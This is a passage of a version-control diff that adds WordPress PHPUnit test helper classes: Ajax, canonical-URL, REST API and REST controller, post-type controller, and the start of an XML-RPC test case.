+	 * Override the register_route method so we can re-register routes internally if needed.
+	 *
+	 * @param string $namespace  Namespace.
+	 * @param string $route      The REST route.
+	 * @param array  $route_args Route arguments.
+	 * @param bool   $override   Optional. Whether the route should be overridden if it already exists.
+	 *                           Default false. Also set $GLOBALS['wp_rest_server']->override_by_default = true
+	 *                           to set overrides when you don't have access to the caller context.
+	 */
+	public function register_route( $namespace, $route, $route_args, $override = false ) {
+		parent::register_route( $namespace, $route, $route_args, $override || $this->override_by_default );
+	}
+
+	public function serve_request( $path = null ) {
+
+		ob_start();
+		$result = parent::serve_request( $path );
+		$this->sent_body = ob_get_clean();
+		return $result;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/testcase-ajax.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/testcase-ajax.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/testcase-ajax.php	(revision 56912)
@@ -0,0 +1,200 @@
+<?php
+/**
+ * Ajax test cases
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ */
+
+/**
+ * Ajax test case class
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ */
+abstract class WP_Ajax_UnitTestCase extends WP_UnitTestCase {
+
+	/**
+	 * Last AJAX response.  This is set via echo -or- wp_die.
+	 * @var string
+	 */
+	protected $_last_response = '';
+
+	/**
+	 * List of ajax actions called via GET
+	 * @var array
+	 */
+	protected static $_core_actions_get = array(
+		'fetch-list', 'ajax-tag-search', 'wp-compression-test', 'imgedit-preview', 'oembed-cache',
+		'autocomplete-user', 'dashboard-widgets', 'logged-in',
+	);
+
+	/**
+	 * Saved error reporting level
+	 * @var int
+	 */
+	protected $_error_level = 0;
+
+	/**
+	 * List of ajax actions called via POST
+	 * @var array
+	 */
+	protected static $_core_actions_post = array(
+		'oembed_cache', 'image-editor', 'delete-comment', 'delete-tag', 'delete-link',
+		'delete-meta', 'delete-post', 'trash-post', 'untrash-post', 'delete-page', 'dim-comment',
+		'add-link-category', 'add-tag', 'get-tagcloud', 'get-comments', 'replyto-comment',
+		'edit-comment', 'add-menu-item', 'add-meta', 'add-user', 'closed-postboxes',
+		'hidden-columns', 'update-welcome-panel', 'menu-get-metabox', 'wp-link-ajax',
+		'menu-locations-save', 'menu-quick-search', 'meta-box-order', 'get-permalink',
+		'sample-permalink', 'inline-save', 'inline-save-tax', 'find_posts', 'widgets-order',
+		'save-widget', 'set-post-thumbnail', 'date_format', 'time_format', 'wp-fullscreen-save-post',
+		'wp-remove-post-lock', 'dismiss-wp-pointer', 'send-attachment-to-editor', 'heartbeat', 'nopriv_heartbeat', 'get-revision-diffs',
+		'save-user-color-scheme', 'update-widget', 'query-themes', 'parse-embed', 'set-attachment-thumbnail',
+		'parse-media-shortcode', 'destroy-sessions', 'install-plugin', 'update-plugin', 'press-this-save-post',
+		'press-this-add-category', 'crop-image', 'generate-password', 'save-wporg-username', 'delete-plugin',
+		'search-plugins', 'search-install-plugins', 'activate-plugin', 'update-theme', 'delete-theme',
+		'install-theme', 'get-post-thumbnail-html',
+	);
+
+	public static function setUpBeforeClass() {
+		remove_action( 'admin_init', '_maybe_update_core' );
+		remove_action( 'admin_init', '_maybe_update_plugins' );
+		remove_action( 'admin_init', '_maybe_update_themes' );
+
+		// Register the core actions
+		foreach ( array_merge( self::$_core_actions_get, self::$_core_actions_post ) as $action ) {
+			if ( function_exists( 'wp_ajax_' . str_replace( '-', '_', $action ) ) ) {
+				add_action( 'wp_ajax_' . $action, 'wp_ajax_' . str_replace( '-', '_', $action ), 1 );
+			}
+		}
+
+		parent::setUpBeforeClass();
+	}
+
+	/**
+	 * Set up the test fixture.
+	 * Override wp_die(), pretend to be ajax, and suppress E_WARNINGs
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		add_filter( 'wp_doing_ajax', '__return_true' );
+		add_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+
+		set_current_screen( 'ajax' );
+
+		// Clear logout cookies
+		add_action( 'clear_auth_cookie', array( $this, 'logout' ) );
+
+		// Suppress warnings from "Cannot modify header information - headers already sent by"
+		$this->_error_level = error_reporting();
+		error_reporting( $this->_error_level & ~E_WARNING );
+
+		// Make some posts
+		self::factory()->post->create_many( 5 );
+	}
+
+	/**
+	 * Tear down the test fixture.
+	 * Reset $_POST, remove the wp_die() override, restore error reporting
+	 */
+	public function tearDown() {
+		parent::tearDown();
+		$_POST = array();
+		$_GET = array();
+		unset( $GLOBALS['post'] );
+		unset( $GLOBALS['comment'] );
+		remove_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+		remove_action( 'clear_auth_cookie', array( $this, 'logout' ) );
+		error_reporting( $this->_error_level );
+		set_current_screen( 'front' );
+	}
+
+	/**
+	 * Clear login cookies, unset the current user
+	 */
+	public function logout() {
+		unset( $GLOBALS['current_user'] );
+		$cookies = array(AUTH_COOKIE, SECURE_AUTH_COOKIE, LOGGED_IN_COOKIE, USER_COOKIE, PASS_COOKIE);
+		foreach ( $cookies as $c )
+			unset( $_COOKIE[$c] );
+	}
+
+	/**
+	 * Return our callback handler
+	 * @return callback
+	 */
+	public function getDieHandler() {
+		return array( $this, 'dieHandler' );
+	}
+
+	/**
+	 * Handler for wp_die()
+	 * Save the output for analysis, stop execution by throwing an exception.
+	 * Error conditions (no output, just die) will throw <code>WPAjaxDieStopException( $message )</code>
+	 * You can test for this with:
+	 * <code>
+	 * $this->setExpectedException( 'WPAjaxDieStopException', 'something contained in $message' );
+	 * </code>
+	 * Normal program termination (wp_die called at then end of output) will throw <code>WPAjaxDieContinueException( $message )</code>
+	 * You can test for this with:
+	 * <code>
+	 * $this->setExpectedException( 'WPAjaxDieContinueException', 'something contained in $message' );
+	 * </code>
+	 * @param string $message
+	 */
+	public function dieHandler( $message ) {
+		$this->_last_response .= ob_get_clean();
+
+		if ( '' === $this->_last_response ) {
+			if ( is_scalar( $message ) ) {
+				throw new WPAjaxDieStopException( (string) $message );
+			} else {
+				throw new WPAjaxDieStopException( '0' );
+			}
+		} else {
+			throw new WPAjaxDieContinueException( $message );
+		}
+	}
+
+	/**
+	 * Switch between user roles
+	 * E.g. administrator, editor, author, contributor, subscriber
+	 * @param string $role
+	 */
+	protected function _setRole( $role ) {
+		$post = $_POST;
+		$user_id = self::factory()->user->create( array( 'role' => $role ) );
+		wp_set_current_user( $user_id );
+		$_POST = array_merge($_POST, $post);
+	}
+
+	/**
+	 * Mimic the ajax handling of admin-ajax.php
+	 * Capture the output via output buffering, and if there is any, store
+	 * it in $this->_last_response.
+	 * @param string $action
+	 */
+	protected function _handleAjax( $action ) {
+
+		// Start output buffering
+		ini_set( 'implicit_flush', false );
+		ob_start();
+
+		// Build the request
+		$_POST['action'] = $action;
+		$_GET['action']  = $action;
+		$_REQUEST        = array_merge( $_POST, $_GET );
+
+		// Call the hooks
+		do_action( 'admin_init' );
+		do_action( 'wp_ajax_' . $_REQUEST['action'], null );
+
+		// Save the output
+		$buffer = ob_get_clean();
+		if ( !empty( $buffer ) )
+			$this->_last_response = $buffer;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/testcase-canonical.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/testcase-canonical.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/testcase-canonical.php	(revision 56912)
@@ -0,0 +1,221 @@
+<?php
+
+class WP_Canonical_UnitTestCase extends WP_UnitTestCase {
+	static $old_current_user;
+	static $author_id;
+	static $post_ids = array();
+	static $comment_ids = array();
+	static $term_ids = array();
+	static $terms = array();
+	static $old_options = array();
+
+	/**
+	 * This can be defined in a subclass of this class which contains its own data() method.
+	 * Those tests will be run against the specified permastruct.
+	 */
+	public $structure = '/%year%/%monthnum%/%day%/%postname%/';
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::generate_shared_fixtures( $factory );
+	}
+
+	public static function wpTearDownAfterClass() {
+		self::delete_shared_fixtures();
+	}
+
+	public function setUp() {
+		parent::setUp();
+
+		update_option( 'page_comments', true );
+		update_option( 'comments_per_page', 5 );
+		update_option( 'posts_per_page', 5 );
+
+		$this->set_permalink_structure( $this->structure );
+		create_initial_taxonomies();
+	}
+
+	/**
+	 * Generate fixtures to be shared between canonical tests.
+	 *
+	 * Abstracted here because it's invoked by setUpBeforeClass() in more than one class.
+	 *
+	 * @since 4.1.0
+	 */
+	public static function generate_shared_fixtures( $factory ) {
+		self::$old_current_user = get_current_user_id();
+		self::$author_id = $factory->user->create( array( 'user_login' => 'canonical-author' ) );
+
+		/*
+		 * Also set in self::setUp(), but we must configure here to make sure that
+		 * post authorship is properly attributed for fixtures.
+		 */
+		wp_set_current_user( self::$author_id );
+
+		// Already created by install defaults:
+		// self::factory()->term->create( array( 'taxonomy' => 'category', 'name' => 'uncategorized' ) );
+
+		self::$post_ids[] = $factory->post->create( array( 'import_id' => 587, 'post_title' => 'post-format-test-audio', 'post_date' => '2008-06-02 00:00:00' ) );
+		self::$post_ids[] = $post_id = $factory->post->create( array( 'post_title' => 'post-format-test-gallery', 'post_date' => '2008-06-10 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'import_id' => 611, 'post_type' => 'attachment', 'post_title' => 'canola2', 'post_parent' => $post_id ) );
+
+		self::$post_ids[] = $factory->post->create( array(
+			'post_title' => 'images-test',
+			'post_date' => '2008-09-03 00:00:00',
+			'post_content' => 'Page 1 <!--nextpage--> Page 2 <!--nextpage--> Page 3'
+		) );
+
+		self::$post_ids[] = $post_id = $factory->post->create( array( 'import_id' => 149, 'post_title' => 'comment-test', 'post_date' => '2008-03-03 00:00:00' ) );
+		self::$comment_ids = $factory->comment->create_post_comments( $post_id, 15 );
+
+		self::$post_ids[] = $factory->post->create( array( 'post_date' => '2008-09-05 00:00:00' ) );
+
+		self::$post_ids[] = $factory->post->create( array( 'import_id' => 123 ) );
+		self::$post_ids[] = $factory->post->create( array( 'import_id' => 1 ) );
+		self::$post_ids[] = $factory->post->create( array( 'import_id' => 358 ) );
+
+		self::$post_ids[] = $factory->post->create( array( 'post_type' => 'page', 'post_title' => 'sample-page' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_type' => 'page', 'post_title' => 'about' ) );
+		self::$post_ids[] = $post_id = $factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+		self::$post_ids[] = $factory->post->create(
+			array( 'import_id' => 144, 'post_type' => 'page', 'post_title' => 'child-page-1', 'post_parent' => $post_id,
+		) );
+
+		self::$post_ids[] = $parent_id = $factory->post->create( array(
+			'post_name' => 'parent',
+			'post_type' => 'page',
+		) );
+		self::$post_ids[] = $child_id_1 = $factory->post->create( array(
+			'post_name'   => 'child1',
+			'post_type'   => 'page',
+			'post_parent' => $parent_id,
+		) );
+		self::$post_ids[] = $child_id_2 = $factory->post->create( array(
+			'post_name'   => 'child2',
+			'post_type'   => 'page',
+			'post_parent' => $parent_id,
+		) );
+		self::$post_ids[] = $grandchild_id_1 = $factory->post->create( array(
+			'post_name'   => 'grandchild',
+			'post_type'   => 'page',
+			'post_parent' => $child_id_1,
+		) );
+		self::$post_ids[] = $grandchild_id_2 = $factory->post->create( array(
+			'post_name'   => 'grandchild',
+			'post_type'   => 'page',
+			'post_parent' => $child_id_2,
+		) );
+
+		$cat1 = $factory->term->create( array( 'taxonomy' => 'category', 'name' => 'parent' ) );
+		self::$terms['/category/parent/'] = $cat1;
+		self::$term_ids[ $cat1 ] = 'category';
+
+		$cat2 = $factory->term->create( array(
+			'taxonomy' => 'category', 'name' => 'child-1', 'parent' => self::$terms['/category/parent/'],
+		) );
+		self::$terms['/category/parent/child-1/'] = $cat2;
+		self::$term_ids[ $cat2 ] = 'category';
+
+		$cat3 = $factory->term->create( array(
+			'taxonomy' => 'category', 'name' => 'child-2', 'parent' => self::$terms['/category/parent/child-1/'],
+		) );
+		self::$terms['/category/parent/child-1/child-2/'] = $cat3;
+		self::$term_ids[ $cat3 ] = 'category';
+
+		$cat4 = $factory->term->create( array( 'taxonomy' => 'category', 'name' => 'cat-a' ) );
+		self::$term_ids[ $cat4 ] = 'category';
+
+		$cat5 = $factory->term->create( array( 'taxonomy' => 'category', 'name' => 'cat-b' ) );
+		self::$term_ids[ $cat5 ] = 'category';
+
+		$tag1 = $factory->term->create( array( 'name' => 'post-formats' ) );
+		self::$term_ids[ $tag1 ] = 'post_tag';
+	}
+
+	/**
+	 * Clean up shared fixtures.
+	 *
+	 * @since 4.1.0
+	 */
+	public static function delete_shared_fixtures() {
+		self::$author_id = null;
+		self::$post_ids = array();
+		self::$comment_ids = array();
+		self::$term_ids = array();
+		self::$terms = array();
+	}
+
+	/**
+	 * Assert that a given URL is the same a the canonical URL generated by WP.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param string $test_url                Raw URL that will be run through redirect_canonical().
+	 * @param string $expected                Expected string.
+	 * @param int    $ticket                  Optional. Trac ticket number.
+	 * @param array  $expected_doing_it_wrong Array of class/function names expected to throw _doing_it_wrong() notices.
+	 */
+	public function assertCanonical( $test_url, $expected, $ticket = 0, $expected_doing_it_wrong = array() ) {
+		$this->expected_doing_it_wrong = array_merge( $this->expected_doing_it_wrong, (array) $expected_doing_it_wrong );
+
+		$ticket_ref = ($ticket > 0) ? 'Ticket #' . $ticket : null;
+
+		if ( is_string($expected) )
+			$expected = array('url' => $expected);
+		elseif ( is_array($expected) && !isset($expected['url']) && !isset($expected['qv']) )
+			$expected = array( 'qv' => $expected );
+
+		if ( !isset($expected['url']) && !isset($expected['qv']) )
+			$this->fail( 'No valid expected output was provided' );
+
+		$this->go_to( home_url( $test_url ) );
+
+		// Does the redirect match what's expected?
+		$can_url = $this->get_canonical( $test_url );
+		$parsed_can_url = parse_url($can_url);
+
+		// Just test the Path and Query if present
+		if ( isset($expected['url']) ) {
+			$this->assertEquals( $expected['url'], $parsed_can_url['path'] . (!empty($parsed_can_url['query']) ? '?' . $parsed_can_url['query'] : ''), $ticket_ref );
+		}
+
+		// If the test data doesn't include expected query vars, then we're done here
+		if ( ! isset($expected['qv']) )
+			return;
+
+		// "make" that the request and check the query is correct
+		$this->go_to( $can_url );
+
+		// Are all query vars accounted for, And correct?
+		global $wp;
+
+		$query_vars = array_diff($wp->query_vars, $wp->extra_query_vars);
+		if ( !empty($parsed_can_url['query']) ) {
+			parse_str($parsed_can_url['query'], $_qv);
+
+			// $_qv should not contain any elements which are set in $query_vars already (ie. $_GET vars should not be present in the Rewrite)
+			$this->assertEquals( array(), array_intersect( $query_vars, $_qv ), 'Query vars are duplicated from the Rewrite into $_GET; ' . $ticket_ref );
+
+			$query_vars = array_merge($query_vars, $_qv);
+		}
+
+		$this->assertEquals( $expected['qv'], $query_vars );
+	}
+
+	/**
+	 * Get the canonical URL given a raw URL.
+	 *
+	 * @param string $test_url Should be relative to the site "front", ie /category/uncategorized/
+	 *                         as opposed to http://example.com/category/uncategorized/
+	 * @return $can_url Returns the original $test_url if no canonical can be generated, otherwise returns
+	 *                  the fully-qualified URL as generated by redirect_canonical().
+	 */
+	public function get_canonical( $test_url ) {
+		$test_url = home_url( $test_url );
+
+		$can_url = redirect_canonical( $test_url, false );
+		if ( ! $can_url )
+			return $test_url; // No redirect will take place for this request
+
+		return $can_url;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/testcase-rest-api.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/testcase-rest-api.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/testcase-rest-api.php	(revision 56912)
@@ -0,0 +1,19 @@
+<?php
+
+abstract class WP_Test_REST_TestCase extends WP_UnitTestCase {
+	protected function assertErrorResponse( $code, $response, $status = null ) {
+
+		if ( is_a( $response, 'WP_REST_Response' ) ) {
+			$response = $response->as_error();
+		}
+
+		$this->assertInstanceOf( 'WP_Error', $response );
+		$this->assertEquals( $code, $response->get_error_code() );
+
+		if ( null !== $status ) {
+			$data = $response->get_error_data();
+			$this->assertArrayHasKey( 'status', $data );
+			$this->assertEquals( $status, $data['status'] );
+		}
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/testcase-rest-controller.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/testcase-rest-controller.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/testcase-rest-controller.php	(revision 56912)
@@ -0,0 +1,52 @@
+<?php
+
+abstract class WP_Test_REST_Controller_Testcase extends WP_Test_REST_TestCase {
+
+	protected $server;
+
+	public function setUp() {
+		parent::setUp();
+		add_filter( 'rest_url', array( $this, 'filter_rest_url_for_leading_slash' ), 10, 2 );
+		/** @var WP_REST_Server $wp_rest_server */
+		global $wp_rest_server;
+		$this->server = $wp_rest_server = new Spy_REST_Server;
+		do_action( 'rest_api_init' );
+	}
+
+	public function tearDown() {
+		parent::tearDown();
+		remove_filter( 'rest_url', array( $this, 'test_rest_url_for_leading_slash' ), 10, 2 );
+		/** @var WP_REST_Server $wp_rest_server */
+		global $wp_rest_server;
+		$wp_rest_server = null;
+	}
+
+	abstract public function test_register_routes();
+
+	abstract public function test_context_param();
+
+	abstract public function test_get_items();
+
+	abstract public function test_get_item();
+
+	abstract public function test_create_item();
+
+	abstract public function test_update_item();
+
+	abstract public function test_delete_item();
+
+	abstract public function test_prepare_item();
+
+	abstract public function test_get_item_schema();
+
+	public function filter_rest_url_for_leading_slash( $url, $path ) {
+		if ( is_multisite() ) {
+			return $url;
+		}
+
+		// Make sure path for rest_url has a leading slash for proper resolution.
+		$this->assertTrue( 0 === strpos( $path, '/' ), 'REST API URL should have a leading slash.' );
+
+		return $url;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/testcase-rest-post-type-controller.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/testcase-rest-post-type-controller.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/testcase-rest-post-type-controller.php	(revision 56912)
@@ -0,0 +1,306 @@
+<?php
+
+abstract class WP_Test_REST_Post_Type_Controller_Testcase extends WP_Test_REST_Controller_Testcase {
+
+	protected function check_post_data( $post, $data, $context, $links ) {
+		$post_type_obj = get_post_type_object( $post->post_type );
+
+		// Standard fields
+		$this->assertEquals( $post->ID, $data['id'] );
+		$this->assertEquals( $post->post_name, $data['slug'] );
+		$this->assertEquals( get_permalink( $post->ID ), $data['link'] );
+		if ( '0000-00-00 00:00:00' === $post->post_date_gmt ) {
+			$post_date_gmt = date( 'Y-m-d H:i:s', strtotime( $post->post_date ) - ( get_option( 'gmt_offset' ) * 3600 ) );
+			$this->assertEquals( mysql_to_rfc3339( $post_date_gmt ), $data['date_gmt'] );
+		} else {
+			$this->assertEquals( mysql_to_rfc3339( $post->post_date_gmt ), $data['date_gmt'] );
+		}
+		$this->assertEquals( mysql_to_rfc3339( $post->post_date ), $data['date'] );
+
+		if ( '0000-00-00 00:00:00' === $post->post_modified_gmt ) {
+			$post_modified_gmt = date( 'Y-m-d H:i:s', strtotime( $post->post_modified ) - ( get_option( 'gmt_offset' ) * 3600 ) );
+			$this->assertEquals( mysql_to_rfc3339( $post_modified_gmt ), $data['modified_gmt'] );
+		} else {
+			$this->assertEquals( mysql_to_rfc3339( $post->post_modified_gmt ), $data['modified_gmt'] );
+		}
+		$this->assertEquals( mysql_to_rfc3339( $post->post_modified ), $data['modified'] );
+
+		// author
+		if ( post_type_supports( $post->post_type, 'author' ) ) {
+			$this->assertEquals( $post->post_author, $data['author'] );
+		} else {
+			$this->assertEmpty( $data['author'] );
+		}
+
+		// post_parent
+		if ( $post_type_obj->hierarchical ) {
+			$this->assertArrayHasKey( 'parent', $data );
+			if ( $post->post_parent ) {
+				if ( is_int( $data['parent'] ) ) {
+					$this->assertEquals( $post->post_parent, $data['parent'] );
+				} else {
+					$this->assertEquals( $post->post_parent, $data['parent']['id'] );
+					$this->check_get_post_response( $data['parent'], get_post( $data['parent']['id'] ), 'view-parent' );
+				}
+			} else {
+				$this->assertEmpty( $data['parent'] );
+			}
+		} else {
+			$this->assertFalse( isset( $data['parent'] ) );
+		}
+
+		// page attributes
+		if ( $post_type_obj->hierarchical && post_type_supports( $post->post_type, 'page-attributes' ) ) {
+			$this->assertEquals( $post->menu_order, $data['menu_order'] );
+		} else {
+			$this->assertFalse( isset( $data['menu_order'] ) );
+		}
+
+		// Comments
+		if ( post_type_supports( $post->post_type, 'comments' ) ) {
+			$this->assertEquals( $post->comment_status, $data['comment_status'] );
+			$this->assertEquals( $post->ping_status, $data['ping_status'] );
+		} else {
+			$this->assertFalse( isset( $data['comment_status'] ) );
+			$this->assertFalse( isset( $data['ping_status'] ) );
+		}
+
+		if ( 'post' === $post->post_type ) {
+			$this->assertEquals( is_sticky( $post->ID ), $data['sticky'] );
+		}
+
+		if ( 'post' === $post->post_type && 'edit' === $context ) {
+			$this->assertEquals( $post->post_password, $data['password'] );
+		}
+
+		if ( 'page' === $post->post_type ) {
+			$this->assertEquals( get_page_template_slug( $post->ID ), $data['template'] );
+		}
+
+		if ( post_type_supports( $post->post_type, 'thumbnail' ) ) {
+			$this->assertEquals( (int) get_post_thumbnail_id( $post->ID ), $data['featured_media'] );
+		} else {
+			$this->assertFalse( isset( $data['featured_media'] ) );
+		}
+
+		// Check post format.
+		if ( post_type_supports( $post->post_type, 'post-formats' ) ) {
+			$post_format = get_post_format( $post->ID );
+			if ( empty( $post_format ) ) {
+				$this->assertEquals( 'standard', $data['format'] );
+			} else {
+				$this->assertEquals( get_post_format( $post->ID ), $data['format'] );
+			}
+		} else {
+			$this->assertFalse( isset( $data['format'] ) );
+		}
+
+		// Check filtered values.
+		if ( post_type_supports( $post->post_type, 'title' ) ) {
+			add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
+			$this->assertEquals( get_the_title( $post->ID ), $data['title']['rendered'] );
+			remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
+			if ( 'edit' === $context ) {
+				$this->assertEquals( $post->post_title, $data['title']['raw'] );
+			} else {
+				$this->assertFalse( isset( $data['title']['raw'] ) );
+			}
+		} else {
+			$this->assertFalse( isset( $data['title'] ) );
+		}
+
+		if ( post_type_supports( $post->post_type, 'editor' ) ) {
+			// TODO: apply content filter for more accurate testing.
+			if ( ! $post->post_password ) {
+				$this->assertEquals( wpautop( $post->post_content ), $data['content']['rendered'] );
+			}
+
+			if ( 'edit' === $context ) {
+				$this->assertEquals( $post->post_content, $data['content']['raw'] );
+			} else {
+				$this->assertFalse( isset( $data['content']['raw'] ) );
+			}
+		} else {
+			$this->assertFalse( isset( $data['content'] ) );
+		}
+
+		if ( post_type_supports( $post->post_type, 'excerpt' ) ) {
+			if ( empty( $post->post_password ) ) {
+				// TODO: apply excerpt filter for more accurate testing.
+				$this->assertEquals( wpautop( $post->post_excerpt ), $data['excerpt']['rendered'] );
+			} else {
+				// TODO: better testing for excerpts for password protected posts.
+			}
+			if ( 'edit' === $context ) {
+				$this->assertEquals( $post->post_excerpt, $data['excerpt']['raw'] );
+			} else {
+				$this->assertFalse( isset( $data['excerpt']['raw'] ) );
+			}
+		} else {
+			$this->assertFalse( isset( $data['excerpt'] ) );
+		}
+
+		$this->assertEquals( $post->post_status, $data['status'] );
+		$this->assertEquals( $post->guid, $data['guid']['rendered'] );
+
+		if ( 'edit' === $context ) {
+			$this->assertEquals( $post->guid, $data['guid']['raw'] );
+		}
+
+		$taxonomies = wp_list_filter( get_object_taxonomies( $post->post_type, 'objects' ), array( 'show_in_rest' => true ) );
+		foreach ( $taxonomies as $taxonomy ) {
+			$this->assertTrue( isset( $data[ $taxonomy->rest_base ] ) );
+			$terms = wp_get_object_terms( $post->ID, $taxonomy->name, array( 'fields' => 'ids' ) );
+			sort( $terms );
+			sort( $data[ $taxonomy->rest_base ] );
+			$this->assertEquals( $terms, $data[ $taxonomy->rest_base ] );
+		}
+
+		// test links
+		if ( $links ) {
+
+			$links = test_rest_expand_compact_links( $links );
+			$post_type = get_post_type_object( $data['type'] );
+			$this->assertEquals( $links['self'][0]['href'], rest_url( 'wp/v2/' . $post_type->rest_base . '/' . $data['id'] ) );
+			$this->assertEquals( $links['collection'][0]['href'], rest_url( 'wp/v2/' . $post_type->rest_base ) );
+			$this->assertEquals( $links['about'][0]['href'], rest_url( 'wp/v2/types/' . $data['type'] ) );
+
+			if ( post_type_supports( $post->post_type, 'author' ) && $data['author'] ) {
+				$this->assertEquals( $links['author'][0]['href'], rest_url( 'wp/v2/users/' . $data['author'] ) );
+			}
+
+			if ( post_type_supports( $post->post_type, 'comments' ) ) {
+				$this->assertEquals( $links['replies'][0]['href'], add_query_arg( 'post', $data['id'], rest_url( 'wp/v2/comments' ) ) );
+			}
+
+			if ( post_type_supports( $post->post_type, 'revisions' ) ) {
+				$this->assertEquals( $links['version-history'][0]['href'], rest_url( 'wp/v2/' . $post_type->rest_base . '/' . $data['id'] . '/revisions' ) );
+			}
+
+			if ( $post_type->hierarchical && ! empty( $data['parent'] ) ) {
+				$this->assertEquals( $links['up'][0]['href'], rest_url( 'wp/v2/' . $post_type->rest_base . '/' . $data['parent'] ) );
+			}
+
+			if ( ! in_array( $data['type'], array( 'attachment', 'nav_menu_item', 'revision' ), true ) ) {
+				$this->assertEquals( $links['https://api.w.org/attachment'][0]['href'], add_query_arg( 'parent', $data['id'], rest_url( 'wp/v2/media' ) ) );
+			}
+
+			if ( ! empty( $data['featured_media'] ) ) {
+				$this->assertEquals( $links['https://api.w.org/featuredmedia'][0]['href'], rest_url( 'wp/v2/media/' . $data['featured_media'] ) );
+			}
+
+			$num = 0;
+			foreach ( $taxonomies as $key => $taxonomy ) {
+				$this->assertEquals( $taxonomy->name, $links['https://api.w.org/term'][ $num ]['attributes']['taxonomy'] );
+				$this->assertEquals( add_query_arg( 'post', $data['id'], rest_url( 'wp/v2/' . $taxonomy->rest_base ) ), $links['https://api.w.org/term'][ $num ]['href'] );
+				$num++;
+			}
+		}
+
+	}
+
+	protected function check_get_posts_response( $response, $context = 'view' ) {
+		$this->assertNotInstanceOf( 'WP_Error', $response );
+		$response = rest_ensure_response( $response );
+		$this->assertEquals( 200, $response->get_status() );
+
+		$headers = $response->get_headers();
+		$this->assertArrayHasKey( 'X-WP-Total', $headers );
+		$this->assertArrayHasKey( 'X-WP-TotalPages', $headers );
+
+		$all_data = $response->get_data();
+		foreach ( $all_data as $data ) {
+			$post = get_post( $data['id'] );
+			// as the links for the post are "response_links" format in the data array we have to pull them
+			// out and parse them.
+			$links = $data['_links'];
+			foreach ( $links as &$links_array ) {
+				foreach ( $links_array as &$link ) {
+					$attributes = array_diff_key( $link, array( 'href' => 1, 'name' => 1 ) );
+					$link = array_diff_key( $link, $attributes );
+					$link['attributes'] = $attributes;
+				}
+			}
+
+			$this->check_post_data( $post, $data, $context, $links );
+		}
+	}
+
+	protected function check_get_post_response( $response, $context = 'view' ) {
+		$this->assertNotInstanceOf( 'WP_Error', $response );
+		$response = rest_ensure_response( $response );
+		$this->assertEquals( 200, $response->get_status() );
+
+		$data = $response->get_data();
+		$post = get_post( $data['id'] );
+		$this->check_post_data( $post, $data, $context, $response->get_links() );
+
+	}
+
+	protected function check_create_post_response( $response ) {
+		$this->assertNotInstanceOf( 'WP_Error', $response );
+		$response = rest_ensure_response( $response );
+
+		$this->assertEquals( 201, $response->get_status() );
+		$headers = $response->get_headers();
+		$this->assertArrayHasKey( 'Location', $headers );
+
+		$data = $response->get_data();
+		$post = get_post( $data['id'] );
+		$this->check_post_data( $post, $data, 'edit', $response->get_links() );
+	}
+
+	protected function check_update_post_response( $response ) {
+		$this->assertNotInstanceOf( 'WP_Error', $response );
+		$response = rest_ensure_response( $response );
+
+		$this->assertEquals( 200, $response->get_status() );
+		$headers = $response->get_headers();
+		$this->assertArrayNotHasKey( 'Location', $headers );
+
+		$data = $response->get_data();
+		$post = get_post( $data['id'] );
+		$this->check_post_data( $post, $data, 'edit', $response->get_links() );
+	}
+
+	protected function set_post_data( $args = array() ) {
+		$defaults = array(
+			'title'   => 'Post Title',
+			'content' => 'Post content',
+			'excerpt' => 'Post excerpt',
+			'name'    => 'test',
+			'status'  => 'publish',
+			'author'  => get_current_user_id(),
+			'type'    => 'post',
+		);
+
+		return wp_parse_args( $args, $defaults );
+	}
+
+	protected function set_raw_post_data( $args = array() ) {
+		return wp_parse_args( $args, $this->set_post_data( array(
+			'title'   => array(
+				'raw' => 'Post Title',
+			),
+			'content' => array(
+				'raw' => 'Post content',
+			),
+			'excerpt' => array(
+				'raw' => 'Post excerpt',
+			),
+		) ) );
+	}
+
+	/**
+	 * Overwrite the default protected title format.
+	 *
+	 * By default WordPress will show password protected posts with a title of
+	 * "Protected: %s", as the REST API communicates the protected status of a post
+	 * in a machine readable format, we remove the "Protected: " prefix.
+	 *
+	 * @return string
+	 */
+	public function protected_title_format() {
+		return '%s';
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/testcase-xmlrpc.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/testcase-xmlrpc.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/testcase-xmlrpc.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+include_once(ABSPATH . 'wp-admin/includes/admin.php');
+include_once(ABSPATH . WPINC . '/class-IXR.php');
+include_once(ABSPATH . WPINC . '/class-wp-xmlrpc-server.php');
+
+class WP_XMLRPC_UnitTestCase extends WP_UnitTestCase {
+	protected $myxmlrpcserver;
+
+	function setUp() {
+		parent::setUp();
+
+		add_filter( 'pre_option_enable_xmlrpc', '__return_true' );
+
+		$this->myxmlrpcserver = new wp_xmlrpc_server();
+	}
+
+	function tearDown() {
+		remove_filter( 'pre_option_enable_xmlrpc', '__return_true' );
+
+		$this->remove_added_uploads();
+
